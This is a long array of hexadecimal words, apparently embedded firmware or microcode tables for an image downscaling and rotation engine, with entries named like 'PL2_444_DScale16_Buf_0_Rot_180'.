0x00000200, 0x3fff0000, 0x00000490, 0xbfff001a, 0x000004c0, 0xbfff0022, 0x000004f0, 0xbfff001c,
0x00000530, 0xbfff0024, 0x00000590, 0xbfff0026, 0x000005d0, 0xbfff001e, 0x000005e0, 0xbfff0020,
0x00000630, 0xbfff0028, 0x00000640, 0x3fff0003, 0x00000790, 0x3fff0004, 0x000007e0, 0x00050076,
0x00000810, 0x3fff0077, 0x00000820, 0x3fff0079, 0x00000830, 0x3fff007f, 0x00000850, 0xbfff001b,
0x00000860, 0x3fff0078, 0x00000870, 0x3fff007b, 0x00000890, 0x3fff007c, 0x000008a0, 0x3fff007d,
0x000008b0, 0xbfff001d, 0x000008c0, 0xbfff0023, 0x000008d0, 0x3fff007e, 0x000008e0, 0x3fff0070,
0x000008e0, 0x3fff007a, 0x000008f0, 0x3fff0071, 0x00000900, 0x3fff0073, 0x00000910, 0x3fff0075,
0x00000930, 0x3fff006e, 0x00000940, 0x3fff0072, 0x00000940, 0xbfff001f, 0x00000950, 0x3fff0074,
0x00000950, 0xbfff0027, 0x00000960, 0x3fff006d, 0x00000960, 0xbfff0021, 0x00000970, 0x3fff006f,
0x00000970, 0xbfff0025, 0x00000980, 0x3fff006c, 0x00000980, 0xbfff0029, 0x000009a0, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000017, 0x00000005, 0x00000001, 0x00000044,
0x00000038, 0x00000006, 0x00000001, 0x0000007c, 0x00000160, 0x00000007, 0x00000001, 0x000001dc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x69343434, 0x61635344, 0x3631656c,
0x6675425f, 0x0000325f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000070, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001, 0x000001a0, 0x3fff0006, 0x000001b0, 0x3fff0005,
0x00000200, 0x3fff0000, 0x00000490, 0xbfff002a, 0x000004c0, 0xbfff0032, 0x000004f0, 0xbfff002c,
0x00000530, 0xbfff0034, 0x00000590, 0xbfff0036, 0x000005d0, 0xbfff002e, 0x000005e0, 0xbfff0030,
0x00000630, 0xbfff0038, 0x00000640, 0x3fff0003, 0x00000790, 0x3fff0004, 0x000007e0, 0x00050076,
0x00000810, 0x3fff0077, 0x00000820, 0x3fff0079, 0x00000830, 0x3fff007f, 0x00000850, 0xbfff002b,
0x00000860, 0x3fff0078, 0x00000870, 0x3fff007b, 0x00000890, 0x3fff007c, 0x000008a0, 0x3fff007d,
0x000008b0, 0xbfff002d, 0x000008c0, 0xbfff0033, 0x000008d0, 0x3fff007e, 0x000008e0, 0x3fff0070,
0x000008e0, 0x3fff007a, 0x000008f0, 0x3fff0071, 0x00000900, 0x3fff0073, 0x00000910, 0x3fff0075,
0x00000930, 0x3fff006e, 0x00000940, 0x3fff0072, 0x00000940, 0xbfff002f, 0x00000950, 0x3fff0074,
0x00000950, 0xbfff0037, 0x00000960, 0x3fff006d, 0x00000960, 0xbfff0031, 0x00000970, 0x3fff006f,
0x00000970, 0xbfff0035, 0x00000980, 0x3fff006c, 0x00000980, 0xbfff0039, 0x000009a0, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000017, 0x00000005, 0x00000001, 0x00000044,
0x00000038, 0x00000006, 0x00000001, 0x0000007c, 0x00000160, 0x00000007, 0x00000001, 0x000001dc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001e0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x5f415000, 0x69343434, 0x61635344, 0x3631656c,
0x6675425f, 0x0000335f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000070, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000a0, 0x3fff0002, 0x000000d0, 0x3fff0001, 0x000001a0, 0x3fff0006, 0x000001b0, 0x3fff0005,
0x00000200, 0x3fff0000, 0x00000490, 0xbfff003a, 0x000004c0, 0xbfff0042, 0x000004f0, 0xbfff003c,
0x00000530, 0xbfff0044, 0x00000590, 0xbfff0046, 0x000005d0, 0xbfff003e, 0x000005e0, 0xbfff0040,
0x00000630, 0xbfff0048, 0x00000640, 0x3fff0003, 0x00000790, 0x3fff0004, 0x000007e0, 0x00050076,
0x00000810, 0x3fff0077, 0x00000820, 0x3fff0079, 0x00000830, 0x3fff007f, 0x00000850, 0xbfff003b,
0x00000860, 0x3fff0078, 0x00000870, 0x3fff007b, 0x00000890, 0x3fff007c, 0x000008a0, 0x3fff007d,
0x000008b0, 0xbfff003d, 0x000008c0, 0xbfff0043, 0x000008d0, 0x3fff007e, 0x000008e0, 0x3fff0070,
0x000008e0, 0x3fff007a, 0x000008f0, 0x3fff0071, 0x00000900, 0x3fff0073, 0x00000910, 0x3fff0075,
0x00000930, 0x3fff006e, 0x00000940, 0x3fff0072, 0x00000940, 0xbfff003f, 0x00000950, 0x3fff0074,
0x00000950, 0xbfff0047, 0x00000960, 0x3fff006d, 0x00000960, 0xbfff0041, 0x00000970, 0x3fff006f,
0x00000970, 0xbfff0045, 0x00000980, 0x3fff006c, 0x00000980, 0xbfff0049, 0x000009a0, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000017, 0x00000005, 0x00000001, 0x00000044,
0x00000038, 0x00000006, 0x00000001, 0x0000007c, 0x00000160, 0x00000007, 0x00000001, 0x000001dc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x0000305f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000f0, 0x3fff0001, 0x00000140, 0x3fff0002, 0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005,
0x00000250, 0x3fff0000, 0x00000300, 0xbfff0010, 0x00000300, 0xbfff0011, 0x00000310, 0xbfff0018,
0x00000310, 0xbfff0019, 0x00000520, 0xbfff000c, 0x00000540, 0xbfff0014, 0x000005d0, 0xbfff000a,
0x00000600, 0xbfff0012, 0x00000690, 0xbfff000e, 0x000006a0, 0xbfff0016, 0x00000750, 0x3fff0003,
0x000007d0, 0x3fff0004, 0x00000820, 0x3fff0074, 0x000008c0, 0x3fff0075, 0x000008d0, 0x3fff0077,
0x000008e0, 0x3fff0076, 0x000008e0, 0xbfff000d, 0x000008f0, 0x3fff0078, 0x000008f0, 0xbfff0015,
0x00000900, 0x3fff007b, 0x00000910, 0x3fff007c, 0x00000920, 0x3fff0079, 0x00000930, 0x3fff007d,
0x00000930, 0x3fff007a, 0x00000940, 0x3fff006c, 0x00000950, 0x3fff006e, 0x00000960, 0x3fff0070,
0x00000970, 0x3fff0072, 0x00000980, 0x3fff006d, 0x00000980, 0xbfff000b, 0x00000990, 0x3fff006f,
0x00000990, 0xbfff0013, 0x000009a0, 0x3fff0071, 0x000009a0, 0xbfff000f, 0x000009b0, 0x3fff0073,
0x000009b0, 0xbfff0017, 0x000009d0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000017, 0x00000005, 0x00000001, 0x00000044, 0x00000038, 0x00000006, 0x00000001, 0x0000007c,
0x00000150, 0x00000007, 0x00000001, 0x000001cc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001a0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f305f, 0x315f746f, 0x00003038,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001f0, 0x3fff0000, 0x00000260, 0x3fff0006,
0x00000270, 0x3fff0002, 0x000002b0, 0x3fff0005, 0x000002c0, 0xbfff0010, 0x000002c0, 0xbfff0011,
0x00000330, 0xbfff0018, 0x00000330, 0xbfff0019, 0x00000540, 0xbfff000c, 0x00000590, 0xbfff0014,
0x00000620, 0xbfff000a, 0x00000650, 0xbfff0012, 0x00000680, 0xbfff000e, 0x000006d0, 0xbfff0016,
0x00000760, 0x3fff0078, 0x00000780, 0x3fff0077, 0x00000780, 0x3fff0003, 0x000007d0, 0x3fff0004,
0x00000910, 0xbfff000d, 0x00000930, 0x0009006d, 0x00000930, 0x0009006e, 0x00000930, 0x0009006f,
0x00000930, 0x00090070, 0x00000930, 0x00090071, 0x00000950, 0xbfff0015, 0x00000970, 0x3fff0074,
0x00000990, 0xbfff000b, 0x000009a0, 0x3fff0075, 0x000009c0, 0xbfff0013, 0x000009d0, 0x3fff0072,
0x000009f0, 0xbfff000f, 0x00000a00, 0x3fff0076, 0x00000a00, 0x3fff0073, 0x00000a20, 0x3fff006c,
0x00000a20, 0xbfff0017, 0x00000a40, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000128, 0x00000007, 0x00000001, 0x0000019c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f305f, 0x325f746f, 0x00003037,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009,
0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001,
0x00000160, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000260, 0x3fff0005, 0x00000270, 0x3fff0000,
0x00000320, 0xbfff0010, 0x00000320, 0xbfff0011, 0x00000330, 0xbfff0018, 0x00000330, 0xbfff0019,
0x00000540, 0xbfff000c, 0x00000560, 0xbfff0014, 0x000005f0, 0xbfff000a, 0x00000620, 0xbfff0012,
0x000006b0, 0xbfff000e, 0x000006c0, 0xbfff0016, 0x00000770, 0x3fff0004, 0x000007f0, 0x3fff0003,
0x000008e0, 0x3fff0074, 0x000008f0, 0x3fff0076, 0x00000900, 0x3fff0075, 0x00000900, 0xbfff000d,
0x00000910, 0x3fff0077, 0x00000910, 0xbfff0015, 0x00000920, 0x3fff007a, 0x00000930, 0x3fff007b,
0x00000940, 0x3fff0078, 0x00000950, 0x3fff007c, 0x00000950, 0x3fff0079, 0x00000960, 0x3fff006c,
0x00000970, 0x3fff006e, 0x00000980, 0x3fff0070, 0x00000990, 0x3fff0072, 0x000009a0, 0x3fff006d,
0x000009a0, 0xbfff000b, 0x000009b0, 0x3fff006f, 0x000009b0, 0xbfff0013, 0x000009c0, 0x3fff0071,
0x000009c0, 0xbfff000f, 0x000009d0, 0x3fff0073, 0x000009d0, 0xbfff0017, 0x000009f0, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c,
0x00000038, 0x00000006, 0x00000001, 0x00000084, 0x00000148, 0x00000007, 0x00000001, 0x000001cc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001a0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x525f305f, 0x395f746f, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001,
0x00000190, 0x3fff0002, 0x00000220, 0x3fff0006, 0x00000230, 0x3fff0005, 0x00000250, 0x3fff0000,
0x00000300, 0xbfff0010, 0x00000300, 0xbfff0011, 0x00000310, 0xbfff0018, 0x00000310, 0xbfff0019,
0x00000520, 0xbfff000c, 0x00000570, 0xbfff0014, 0x00000610, 0xbfff000a, 0x00000640, 0xbfff0012,
0x00000670, 0xbfff000e, 0x000006c0, 0xbfff0016, 0x00000790, 0x3fff0003, 0x000007a0, 0x3fff0078,
0x000007b0, 0x3fff0077, 0x000007b0, 0x3fff0004, 0x000008f0, 0xbfff000d, 0x00000910, 0x0009006d,
0x00000910, 0x0009006e, 0x00000910, 0x0009006f, 0x00000910, 0x00090070, 0x00000910, 0x00090071,
0x00000930, 0xbfff0015, 0x00000950, 0x3fff0074, 0x00000970, 0xbfff000b, 0x00000980, 0x3fff0075,
0x000009a0, 0xbfff0013, 0x000009b0, 0x3fff0072, 0x000009d0, 0xbfff000f, 0x000009e0, 0x3fff0076,
0x000009e0, 0x3fff0073, 0x00000a00, 0x3fff006c, 0x00000a00, 0xbfff0017, 0x00000a20, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000128, 0x00000007, 0x00000001, 0x0000019c,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x0000315f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000060, 0xbfff006b, 0x000000a0, 0x0000ffff,
0x00000100, 0x3fff0001, 0x00000150, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000250, 0x3fff0005,
0x00000260, 0x3fff0000, 0x00000310, 0xbfff0020, 0x00000310, 0xbfff0021, 0x00000320, 0xbfff0028,
0x00000320, 0xbfff0029, 0x00000540, 0xbfff001c, 0x00000570, 0xbfff0024, 0x000005c0, 0x3fff007c,
0x000005f0, 0xbfff001a, 0x00000660, 0xbfff001e, 0x000006b0, 0xbfff0026, 0x000006c0, 0xbfff0022,
0x00000770, 0x3fff0003, 0x000007d0, 0x3fff0004, 0x00000850, 0x3fff0074, 0x000008e0, 0x3fff0073,
0x000008f0, 0x3fff0072, 0x000008f0, 0xbfff001d, 0x00000900, 0x3fff0075, 0x00000900, 0xbfff0025,
0x00000910, 0x3fff0078, 0x00000920, 0x3fff0079, 0x00000930, 0x3fff0076, 0x00000940, 0x3fff007d,
0x00000940, 0x3fff0077, 0x00000950, 0x3fff007a, 0x00000960, 0x3fff006c, 0x00000970, 0x3fff006e,
0x00000980, 0x3fff0070, 0x00000990, 0x3fff007b, 0x00000990, 0xbfff001b, 0x000009a0, 0x3fff006d,
0x000009a0, 0xbfff0023, 0x000009b0, 0x3fff006f, 0x000009b0, 0xbfff001f, 0x000009c0, 0x3fff0071,
0x000009c0, 0xbfff0027, 0x000009e0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000017, 0x00000005, 0x00000001, 0x00000044, 0x00000038, 0x00000006, 0x00000001, 0x0000007c,
0x00000150, 0x00000007, 0x00000001, 0x000001cc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001a0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f315f, 0x315f746f, 0x00003038,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000070, 0xbfff006b,
0x000000a0, 0x0000ffff, 0x000000c0, 0x3fff0001, 0x00000200, 0x3fff0000, 0x00000270, 0x3fff0006,
0x00000280, 0x3fff0002, 0x000002c0, 0x3fff0005, 0x000002d0, 0xbfff0020, 0x000002d0, 0xbfff0021,
0x00000340, 0xbfff0028, 0x00000340, 0xbfff0029, 0x00000560, 0xbfff001c, 0x000005b0, 0xbfff0024,
0x00000640, 0xbfff001a, 0x00000670, 0xbfff0022, 0x000006a0, 0xbfff001e, 0x000006f0, 0xbfff0026,
0x00000780, 0x3fff0078, 0x000007a0, 0x3fff0077, 0x000007a0, 0x3fff0003, 0x000007f0, 0x3fff0004,
0x00000930, 0xbfff001d, 0x00000950, 0x0009006d, 0x00000950, 0x0009006e, 0x00000950, 0x0009006f,
0x00000950, 0x00090070, 0x00000950, 0x00090071, 0x00000970, 0xbfff0025, 0x00000990, 0x3fff0074,
0x000009b0, 0xbfff001b, 0x000009c0, 0x3fff0075, 0x000009e0, 0xbfff0023, 0x000009f0, 0x3fff0072,
0x00000a10, 0xbfff001f, 0x00000a20, 0x3fff0076, 0x00000a20, 0x3fff0073, 0x00000a40, 0x3fff006c,
0x00000a40, 0xbfff0027, 0x00000a60, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000128, 0x00000007, 0x00000001, 0x0000019c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f315f, 0x325f746f, 0x00003037,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009,
0x00000040, 0xbfff006e, 0x00000060, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x00000100, 0x3fff0001,
0x00000170, 0x3fff0002, 0x00000250, 0x3fff0006, 0x00000270, 0x3fff0005, 0x00000280, 0x3fff0000,
0x00000330, 0xbfff0020, 0x00000330, 0xbfff0021, 0x00000340, 0xbfff0028, 0x00000340, 0xbfff0029,
0x00000560, 0xbfff001c, 0x00000590, 0xbfff0024, 0x00000610, 0xbfff001a, 0x00000690, 0xbfff001e,
0x000006b0, 0xbfff0026, 0x000006e0, 0xbfff0022, 0x000007a0, 0x3fff0004, 0x00000840, 0x3fff0003,
0x00000870, 0x3fff0073, 0x000008b0, 0x3fff007b, 0x00000910, 0x3fff0072, 0x00000920, 0xbfff001d,
0x00000930, 0x3fff0074, 0x00000930, 0xbfff0025, 0x00000940, 0x3fff0077, 0x00000950, 0x3fff0078,
0x00000960, 0x3fff0075, 0x00000970, 0x3fff007c, 0x00000970, 0x3fff0076, 0x00000980, 0x3fff0079,
0x00000990, 0x3fff006c, 0x000009a0, 0x3fff006e, 0x000009b0, 0x3fff0070, 0x000009c0, 0x3fff007a,
0x000009c0, 0xbfff001b, 0x000009d0, 0x3fff006d, 0x000009d0, 0xbfff0023, 0x000009e0, 0x3fff006f,
0x000009e0, 0xbfff001f, 0x000009f0, 0x3fff0071, 0x000009f0, 0xbfff0027, 0x00000a10, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001f, 0x00000005, 0x00000001, 0x0000004c,
0x00000038, 0x00000006, 0x00000001, 0x00000084, 0x00000148, 0x00000007, 0x00000001, 0x000001cc,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001a0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x525f315f, 0x395f746f, 0x00000030, 0x00000000, 0x00000000, 0x00000000, 0x8000006c,
0x00000030, 0x3fff0009, 0x00000070, 0xbfff006b, 0x000000a0, 0x0000ffff, 0x000000c0, 0x3fff0001,
0x000001a0, 0x3fff0002, 0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005, 0x00000260, 0x3fff0000,
0x00000310, 0xbfff0020, 0x00000310, 0xbfff0021, 0x00000320, 0xbfff0028, 0x00000320, 0xbfff0029,
0x00000540, 0xbfff001c, 0x00000590, 0xbfff0024, 0x00000630, 0xbfff001a, 0x00000660, 0xbfff0022,
0x00000690, 0xbfff001e, 0x000006e0, 0xbfff0026, 0x000007b0, 0x3fff0003, 0x000007c0, 0x3fff0078,
0x000007d0, 0x3fff0077, 0x000007d0, 0x3fff0004, 0x00000910, 0xbfff001d, 0x00000930, 0x0009006d,
0x00000930, 0x0009006e, 0x00000930, 0x0009006f, 0x00000930, 0x00090070, 0x00000930, 0x00090071,
0x00000950, 0xbfff0025, 0x00000970, 0x3fff0074, 0x00000990, 0xbfff001b, 0x000009a0, 0x3fff0075,
0x000009c0, 0xbfff0023, 0x000009d0, 0x3fff0072, 0x000009f0, 0xbfff001f, 0x00000a00, 0x3fff0076,
0x00000a00, 0x3fff0073, 0x00000a20, 0x3fff006c, 0x00000a20, 0xbfff0027, 0x00000a40, 0xbfff006b,
0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014,
0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014,
0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x0000001e, 0x00000005, 0x00000001, 0x0000004c,
0x00000028, 0x00000006, 0x00000001, 0x00000074, 0x00000128, 0x00000007, 0x00000001, 0x0000019c,
0x00000002, 0x49504d43, 0x000e0000, 0x00000008, 0x000001d0, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x324c5000, 0x3434345f, 0x61635344, 0x3631656c,
0x6675425f, 0x0000325f, 0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d,
0x00000030, 0x3fff0009, 0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff,
0x000000f0, 0x3fff0001, 0x00000140, 0x3fff0002, 0x00000230, 0x3fff0006, 0x00000240, 0x3fff0005,
0x00000250, 0x3fff0000, 0x00000300, 0xbfff0030, 0x00000300, 0xbfff0031, 0x00000310, 0xbfff0038,
0x00000310, 0xbfff0039, 0x00000530, 0xbfff002c, 0x00000560, 0xbfff0034, 0x000005b0, 0x3fff007c,
0x000005e0, 0xbfff002a, 0x00000650, 0xbfff002e, 0x000006a0, 0xbfff0036, 0x000006b0, 0xbfff0032,
0x00000760, 0x3fff0003, 0x000007c0, 0x3fff0004, 0x00000840, 0x3fff0074, 0x000008d0, 0x3fff0073,
0x000008e0, 0x3fff0072, 0x000008e0, 0xbfff002d, 0x000008f0, 0x3fff0075, 0x000008f0, 0xbfff0035,
0x00000900, 0x3fff0078, 0x00000910, 0x3fff0079, 0x00000920, 0x3fff0076, 0x00000930, 0x3fff007d,
0x00000930, 0x3fff0077, 0x00000940, 0x3fff007a, 0x00000950, 0x3fff006c, 0x00000960, 0x3fff006e,
0x00000970, 0x3fff0070, 0x00000980, 0x3fff007b, 0x00000980, 0xbfff002b, 0x00000990, 0x3fff006d,
0x00000990, 0xbfff0033, 0x000009a0, 0x3fff006f, 0x000009a0, 0xbfff002f, 0x000009b0, 0x3fff0071,
0x000009b0, 0xbfff0037, 0x000009d0, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x00000017, 0x00000005, 0x00000001, 0x00000044, 0x00000038, 0x00000006, 0x00000001, 0x0000007c,
0x00000150, 0x00000007, 0x00000001, 0x000001cc, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001a0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f325f, 0x315f746f, 0x00003038,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000030, 0x3fff0009, 0x00000060, 0xbfff006b,
0x00000090, 0x0000ffff, 0x000000b0, 0x3fff0001, 0x000001f0, 0x3fff0000, 0x00000260, 0x3fff0006,
0x00000270, 0x3fff0002, 0x000002b0, 0x3fff0005, 0x000002c0, 0xbfff0030, 0x000002c0, 0xbfff0031,
0x00000330, 0xbfff0038, 0x00000330, 0xbfff0039, 0x00000550, 0xbfff002c, 0x000005a0, 0xbfff0034,
0x00000630, 0xbfff002a, 0x00000660, 0xbfff0032, 0x00000690, 0xbfff002e, 0x000006e0, 0xbfff0036,
0x00000770, 0x3fff0078, 0x00000790, 0x3fff0077, 0x00000790, 0x3fff0003, 0x000007e0, 0x3fff0004,
0x00000920, 0xbfff002d, 0x00000940, 0x0009006d, 0x00000940, 0x0009006e, 0x00000940, 0x0009006f,
0x00000940, 0x00090070, 0x00000940, 0x00090071, 0x00000960, 0xbfff0035, 0x00000980, 0x3fff0074,
0x000009a0, 0xbfff002b, 0x000009b0, 0x3fff0075, 0x000009d0, 0xbfff0033, 0x000009e0, 0x3fff0072,
0x00000a00, 0xbfff002f, 0x00000a10, 0x3fff0076, 0x00000a10, 0x3fff0073, 0x00000a30, 0x3fff006c,
0x00000a30, 0xbfff0037, 0x00000a50, 0xbfff006b, 0x00000000, 0x00000000, 0x00000000, 0x00000014,
0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c,
0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c,
0x0000001f, 0x00000005, 0x00000001, 0x0000004c, 0x00000028, 0x00000006, 0x00000001, 0x00000074,
0x00000128, 0x00000007, 0x00000001, 0x0000019c, 0x00000002, 0x49504d43, 0x000e0000, 0x00000008,
0x000001d0, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00000001,
0x324c5000, 0x3434345f, 0x61635344, 0x3631656c, 0x6675425f, 0x525f325f, 0x325f746f, 0x00003037,
0x00000000, 0x00000000, 0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff0009,
0x00000040, 0xbfff006e, 0x00000050, 0xbfff006b, 0x00000090, 0x0000ffff, 0x000000f0, 0x3fff0001,
0x00000160, 0x3fff0002, 0x00000240, 0x3fff0006, 0x00000260, 0x3fff0005, 0x00000270, 0x3fff0000,
0x00000320, 0xbfff0030, 0x00000320, 0xbfff0031, 0x00000330, 0xbfff0038, 0x00000330, 0xbfff0039,
0x00000550, 0xbfff002c, 0x00000580, 0xbfff0034, 0x00000600, 0xbfff002a, 0x00000680, 0xbfff002e,
0x000006a0, 0xbfff0036, 0x000006d0, 0xbfff0032, 0x00000790, 0x3fff0004, 0x00000830, 0x3fff0003,
0x00000860, 0x3fff0073, 0x000008a0, 0x3fff007b, 0x00000900, 0x3fff0072, 0x00000910, 0xbfff002d,
0x00000920, 0x3fff0074, 0x00000920, 0xbfff0035, 0x00000930, 0x3fff0077, 0x00000940, 0x3fff0078,
